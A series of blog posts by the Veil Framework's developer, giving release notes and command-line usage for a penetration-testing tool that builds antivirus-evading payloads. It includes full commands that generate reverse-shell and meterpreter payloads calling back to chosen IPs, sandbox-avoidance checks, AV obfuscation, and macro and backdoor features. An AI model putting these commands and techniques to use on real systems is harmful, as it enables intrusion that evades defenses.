Author: Christopher Truncer

Least Privilege – Removing Unnecessary Memory Permissions

Since Veil’s 1.0 release, shellcode has been injected into memory the same way (largely across the industry). This is done over the following steps:

  1. Allocate memory with RWX (read, write, and execute) permissions to write shellcode into, and execute it
  2. Write the shellcode to the previously allocated memory
  3. Create a thread to execute the shellcode
  4. Wait for the shellcode to finish running (i.e. you exit Meterpreter or Beacon) before allowing the stager to exit

However, RWX isn’t entirely “normal” and could potentially be seen as malicious by antivirus/sandbox engines. After talking with Casey (@subtee) about this, I decided to change how Veil injects shellcode into memory. As of Veil’s 3.1 release, almost none of Veil’s “shellcode_inject” stagers will make use of RWX memory.

Veil 3.1 will now allocate memory with RW permissions, to enable the stager to write shellcode into the allocated memory. After writing the shellcode to the allocated memory, the stager will call VirtualProtect to change the memory permissions from RW to RX. At this point, the stager will continue on to call CreateThread and WaitForSingleObject as normal. Sample code of this can be seen below:

Line 3 has changed from Veil 3.0 to 3.1. The final parameter passed into the VirtualAlloc call is 0x04 vs. 0x40 which specifically sets the memory to be ReadWrite. In line 5, the stager calls VirtualProtect, which changes the allocated memory to ReadExecute.

While this tweak is completely under the hood and will likely be transparent to you for nearly all use cases, hopefully small tweaks like this can help either now, or in the future.

Don’t hesitate to reach out to provide feedback!

Posted on by Christopher Truncer 1

Veil 3.0 Command Line Usage

Most Veil users will utilize Veil’s interactive menu to generate shellcode and/or Veil payloads. However, I expect while only a minority of users take advantage of the command line options, that they do so quite heavily. Therefore, I wanted to ensure that a command line interface exists for Veil in the event the user wants to script its usage (or for any other means). With Veil’s 3.0 release, some of the options are the same, but a few more command line options have been introduced to the tool, which I hope to explain here.

Ordnance

I’ll address how to use Ordnance within Veil all from the command line, this should (ideally) be fairly straightforward. In case you haven’t used Ordnance before, it is a tool that is used to quickly generate shellcode for a variety of payloads vs. relying on msfvenom to generate the shellcode for you.

./Veil.py -t Ordnance --list-payloads

This command tells Veil to list all payloads (–list-payloads) for the tool Ordnance (-t Ordnance).

./Veil.py -t Ordnance --list-encoders

This command tells Veil to list all encoders (–list-encoders) for the tool Ordnance (-t Ordnance).

./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

This command specifies to use Ordnance (-t Ordnance) and generate a reverse tcp payload (–ordnance-payload rev_tcp) which connects back to the ip 192.168.1.20 (–ip 192.168.1.20) on port 1234 (–port 1234).

./Veil.py -t Ordnance --ordnance-payload rev_http --ip 192.168.1.21 --port 1235 -e xor -b \\x13\\x98

This command specifies to use Ordnance (-t Ordnance) and generates a reverse http payload which connects back to the ip 192.168.1.21 (–ip 192.168.1.21) on port 1235 (–port 1235). The command then further specifies that an xor encoder should be applied (-e xor) and the bad characters \x13\x98 should be avoided (-b \\x13\\x98).

Evasion

Let’s go over a couple commands and I’ll explain their components:

./Veil.py -t Evasion --list-payloads

This command tells Veil to list all payloads (–list-payloads) for the tool Evasion (-t Evasion).

./Veil.py -t Evasion -p 33 --ordnance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o christest

This command will actually generate an executable payload. It specifies that Evasion’s (-t Evasion) payload number 33 (-p 33) is selected by the user. For shellcode generation, use Ordnance’s rev_tcp payload (–ordnance-payload rev_tcp), and set the callback ip to 192.168.1.3 (–ip 192.168.1.3) and callback port to 8675 (–port 8675). Finally, name the output file christest (-o christest).

The main thing to note with this command is that it is using Ordnance for shellcode generation.

./Veil.py -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris

This command is fairly similar to the above command, but relies on msfvenom for generating shellcode. The command states to use Evasion’s (-t Evasion) payload number 41 (-p 41) and to generate windows/meterpreter/reverse_tcp shellcode via msfvenom with the callback IP set to 192.168.1.4 (–ip 192.168.1.4) and callback port set to 8675 (–port 8675). Finally, it names the output file chris (-o chris).

Now, what if you want to specify some of the required options for a payload? Here’s your answer!

./Veil.py -t Evasion -p 34 --ordnance-payload rev_tcp --ip 192.168.1.5 --port 8677 -o chrisout -c hostname=thegrid processors=2

This command specifies to use Evasion’s (-t Evasion) payload number 34 (-p 34) and have ordnance generate a reverse tcp payload (–ordnance-payload rev_tcp) with a callback IP set to 192.168.1.5 (–ip 192.168.1.5) with a callback port of 8677 (–port 8677). The output file is named chrisout (-o chrisout), and two checks are being specified. The payload will explicitly check to make sure the hostname of the system the payload is running on is “thegrid” (-c hostname=thegrid) and that there are at least two (2) processors on the system (processors=2). Yes, there is a space between hostname=thegrid and processors=2.

If you only wanted to check for the hostname, you would remove the processors=2 from the -c command (the command would now look like -c hostname=thegrid). Embedding basic checks, such as these, within your payload(s) can be useful when attempting to enumerate and avoid sandboxes.

./Veil.py --clean

Ideally, this one is self-explanatory. If you’ve created multiple payloads and just want to remove all the compiled output, source code, handler files, and tracked hashes, run this command and Veil will remove everything.

Hopefully this helps to explain Veil’s command line interface. However, if you have any questions, please don’t hesitate to reach out over twitter (@VeilFramework or @ChrisTruncer) and I’ll be happy to answer any questions. If you encounter any bugs, feel free to create a Github issue!

Posted on by Christopher Truncer 0

Veil 3.0 Release

The Veil Framework is a collection of tools designed for use during offensive security testing. When the time calls for it, FortyNorth Security will use the Veil-Framework to help achieve their objective.  The most commonly used tool is Veil-Evasion, which can turn an arbitrary script or piece of shellcode into a Windows executable that will evade detections by common antivirus products.

Veil 2.0 was made publicly available on June 17, 2013, and the core framework has remained largely unchanged since that date. There have been some modifications to the framework itself, but these have generally been minor in nature, with the majority of modifications involving the support of new programming languages and new payload modules.\

After spending a few years developing in Python, I revisited the Veil codebase and identified parts of the backend framework that could be developed more efficiently. Six months later, after refactoring the codebase and adding a large number of updates, I am happy to present Veil 3.0. The main menu is shown in Figure 1.

Figure 1: Veil 3 main menu

Python 3

First and foremost, one of the largest overhauls to Veil was updating the version of Python from Python 2 to Python 3. Python 2 is scheduled to reach end-of-life (EOL) in 2020, so it did not make much sense to spend time performing a large update to Veil in a language that will no longer be supported in three years.

Updating Veil from Python 2 to Python 3 was easily the most time-consuming part of creating Veil 3. Running the 2to3 tool was not an option; the conversion process required manual review for essentially all changes to Veil.

One of the major differences when developing Veil in Python 3 vs. Python 2 is how shellcode is handled and modified. To illustrates this issue, Figure 2 shows a Python 2-based stager that includes encrypted shellcode to be decrypted at runtime.

Figure 2: AES decrypting stager from Veil 2 in Python 2

While the code in Figure 2 works in Python 2, it will not work in Python 3. Specifically, in Python 3, the shellcode no longer needs to be string escaped into a bytearray after decryption. The output of Python 3’s decryption is the original clear text data in a bytearray, which is immediately consumable by the rest of the script. Figure 3 shows the Python 3 version of the same decryption stager.

Figure 3: AES decrypting stager from Veil 3 in Python 3

Ordnance

Early versions of Veil relied on the Metasploit Framework’s msfvenom tool to generate shellcode for Veil payloads. After the initial release of Veil, however, this caused a problem. The output for msfvenom changed and it completely broke Veil’s ability to process msfvenom output. After providing a patch to fix the issue, the Veil team decided that a different solution would be required instead of relying on a tool outside of our control.

Thus, Veil-Ordnance was developed and released in 2015. Veil-Ordnance is a tool that generates shellcode for use in Veil-Evasion stagers. Developing Veil-Ordnance had two main benefits:

  1. The Veil development team is in control of the output, preventing any future compatibility issues with Veil-Evasion.
  2. Shellcode generation is faster with Veil-Ordnance.

Previously, Veil-Evasion and Veil-Ordnance were two separate tools. With the release of Veil 3.0, that is no longer the case, as shown in Figure 4.

Figure 4: Ordnance included in Veil 3.0

Veil 3.0 users still have the ability to use msfvenom to generate their shellcode, but they now also have the option to use Ordnance. Ordnance will be able to immediately generate shellcode after users provide the IP and Port that the shellcode should connect to or listen on. Ordnance supports the most popular payload types:

  1. Reverse TCP
  2. Reverse HTTP
  3. Reverse HTTPS
  4. Reverse TCP DNS
  5. Reverse TCP All Ports
  6. Bind TCP

This gives Veil users multiple options to choose from – they can stick with msfvenom, or use the new built-in tool, Ordnance.

Additional Languages

While Veil itself is written in Python, the processed payloads and output files can be in other programming languages. In Veil 3.0, two additional languages are now supported:

  • AutoIt3
  • Lua

Lua payloads are only supported in a script format that must be compiled and run using a lua runtime, but Veil 3.0 running on Linux can compile AutoIt3 scripts into Windows executables. Veil 3.0 also supports the seven languages previously supported in version 2.0:

  • Python
  • PowerShell
  • C
  • C#
  • Perl
  • Ruby
  • Golang
Environmental Detection

Another new feature in Veil 3.0 is the ability to check information about the system where the Veil payload is running. This feature is useful for ensuring that shellcode is only executed on target systems and during the engagement timeframe. The stager performs these checks and will only inject and execute the embedded shellcode if the specified conditions are met. Figure 5 shows the options for this feature.

Figure 5: Environmental detection options

Users can specify one or more of the following checks for Veil stagers:

  • The domain that the victim machine must be joined to.
  • A date that the payload expires on.
  • The hostname of the system running the payload.
  • The minimum number of processors on the system running the payload.
  • The required username running the payload.

If specifying more than one check, all checks must be met; otherwise the stager will cease execution without executing the shellcode.

This covers the major updates with Veil 3.0’s release. If you have any questions, or encounter an issue, please visit Veil’s Github repository. I hope that Veil can help further your assessments in the same way that it has helped us.

Posted on by Christopher Truncer 0

February 2016 V-Day

This February we have a few updates to Veil-Evasion.  First, we’ve upgraded the version of PyInstaller that’s used by Veil-Evasion from pyinstaller 2 to 3.1.  One extra feature that this allows is the ability to encrypt the bytecode that pyinstaller outputs.  We’re using this feature by generating a random key each time Veil-Evasion runs and supplying that when using PyInstaller to convert the python code into a Windows executable.

The other modification to Veil-Evasion is I’ve added some obfuscation to the python payloads themselves.  I’ve identified some areas where different AVs are trying to flag the python payloads, so this should help with some of the detection issues.  Other possibly signatures have been found as well, but I’m waiting to see how AV companies respond to this new obfuscation.

Thanks, hope that this can help, and good luck!  #avlol

Posted on by Christopher Truncer 1

A Perl of Hope – January V-Day 2016

Welcome to 2016!  For the first post/release of the year, I’m happy to push out a new language!  First, I will preface this release by stating my politically correct opinion that Perl, is not fun.  However, that doesn’t mean it isn’t viable for writing shellcode injectors!

This month, I’m pushing out the standard “flat” shellcode injection template for perl, which lets you generate perl shellcode injectors.  However, if you run this module, you’re going to see something different than the other modules Veil-Evasion currently supports, right now there’s no native Windows compilation within Kali.

As of this release, I have not yet been able to get all the required dependencies installed within Wine and working.  There is a workaround, similar to our Python Py2Exe output, you can “compile” this perl script into a self-contained Windows executable by using a Windows VM.  While not the most ideal, I personally am always running a Windows VM in addition to a linux one while on tests, so I would imagine many of you follow a similar setup.

To generate a Windows executable, there’s a couple steps you’ll need to follow:

    1. Generate your perl payload like you would any other Veil-Evasion payload.  Once Veil-Evasion is done, you’re going to receive the source code output (like normal), but no executable.
    2. Move the perl script over to your Windows VM (tested on Windows XP x32 and Windows 7 x64).
    3. Install Perl (x32) on your windows VM (I’ve personally tested this process using the latest x32 Strawberry Perl build).
    4. Once Perl has been installed, open a command prompt and run “cpan PAR::Packer”
      1. This step will take a little while, and will require an internet connection
    5. Navigate to your .pl Veil-Evasion output within a command prompt and type “pp –gui -o <output_name_here.exe> <veil-evasion_perl_output.pl>”

perl compile

You now have your Perl executable!

I realize this isn’t the most ideal setup, but I’d rather we have the ability to generate these payloads vs. hold back on the release.  I’ll continue to look into finding a way to make this work within Wine, but if anyone wants to help figure this out, it would definitely be appreciated :)

Anyways, hope that this helps, and happy new year!

 

Posted on by Christopher Truncer 1

November 2015 V-Day

Hello!

This month I’ve added in two different modules for our November 2015 V-Day, and both are in relation to our powershell payloads!

First, I built on top of our download and inject HTTP powershell module and added the ability to download code on the fly from a HTTPS server.  This module will download code from HTTPS protected web servers that are not using a valid cert (read self-signed).

Next, another auxiliary module was added into Veil-Evasion.  We built a module upon khr0x40sh’s blog post where Veil-Evasion’s powershell/shellcode_inject/virtual payload was converted into macro code.  This new auxiliary module simply takes the steps documented in the blog post and automates the process.  It will output a text file containing the code that just needs to be pasted in, and you will then have a valid working macro.  The only option you will need to specify is if you are going to be running the code on a x86 or x64 system.

We hope that this helps, and we still have plenty more module for future releases!  Let me know in #Veil on freenode if you have any questions!

Posted on by Christopher Truncer 0

September 2015 V-Day

Hello Everyone!

It’s been a while for a release, I know!  Today, we have two smaller updates.  For a payload release, a Ruby payload which has shellcode base64 encoded inside of it (and is decoded at runtime) has been added into Veil-Evasion (thanks to the guys in #ruby on Freenode for some help).

Additionally, Veil-Ordnance has received an update.  As it was, Veil-Ordnance had its modules hardcoded into the application.  Ordnance now will dynamically pick up new payload and encoder modules that are added to it, making it easier to extend Veil-Ordnance’s functionality!

Finally, th3 payload r3l3as3s hav3 slow3d du3 to work on updating a proj3ct.  Hop3fully w3’ll b3 abl3 to g3t a r3l3as3 soon, but in th3 m3antim3 I’ll do my b3st to 3nsur3 th3 payloads ar3 r3l3as3d on tim3 3ach V-Day.  Hop3 this h3lps, and f33l fr33 to ask any qu3stions in #Veil on Fr33nod3!

Posted on by Christopher Truncer 0

June 2015 V-Day!

Hello, and welcome to June’s V-Day!

This month, we received a python payload that was created by Alex Rymdeko-Harvey (@Killswitch_GUI)!  This payload works by having the user specify a URL that the payload should beacon back to, and how often it should beacon back.  The following is a step-by-step description of how the module works:

  1. The module will create a web page containing a fake wordpress login.
  2. The fake page will be md5ed, and the hash will be used to encrypt the shellcode stored inside the executable.
  3. Once the executable has been placed on a machine and run, it will beacon to the URL specified looking for the web page.
  4. Once the web server returns a 200, the executable will md5 the web page, and attempt to use that hash to decrypt the shellcode, and execute it in memory.
  5. If the page doesn’t return a 200, the executable will sleep until it’s time to beacon out again.

The nice part about this module is you can choose when your payloads are allowed to execute.  Since no key is stored within the executable, the only time a payload can inject its shellcode is if the page it is beaconing back to is live.

If you want to read more about this, check out the author’s blog post here: http://cybersyndicates.com/2015/06/veil-evasion-aes-encrypted-httpkey-request-module/

Thanks, and enjoy!

Posted on by Christopher Truncer 0

On Your Mark, Get Set, Go! – May V-Day

Hello all!

This month we’re really happy to be introducing a new language into the Veil-Framework for bypassing antivirus.  So far, we have Python, C, C#, Powershell, and Ruby.  As you probably can guess, we are happy to be adding in support for Go!

To use Go payloads, the first thing you will need to do is re-run the setup script that comes bundled with Veil-Evasion.  This will auto download Go and compile from source in a method that allows go to cross-compile and create Windows executables within Linux.

Once installed, you will see there are currently four different Go payloads available in the framework.  One of the payloads is the traditional shellcode injection payload, and the others are pure Go meterpreter stagers.  The Go payloads were submitted to us by @b00stfr3ak44, we definitely appreciate them being sent our way for the community to use!

We’d love to continue to encourage people to create new payloads, in any language that you think would be fun. If you’d be willing to send a payload you’ve created to us to include within Veil-Evasion, we’d be happy to do anything we can to help you along the way.

Thanks!

#avlol

Posted on by Christopher Truncer 0

April V-Day – BDF Updates!

Hello All!

For our April V-Day, we’ve been working with our friend Josh (@midnite_runr) to get the latest Backdoor Factory updates added in to Veil-Evasion.  There’s been a number of updates to Backdoor Factory lately that had yet to be added in, but we should have them all included now.  One of the most recent changes includes automatic PE patching when backdooring an executable.  @Midnite_runr has been working on adding that feature in for some time, so it’s awesome that his hard work has paid off!  He’s documented a lot of the updates in this video.

If you have any questions, feel free to ask in #Veil on Freenode, and thanks to @midnite_runr for his awesome work!

Posted on by Christopher Truncer 0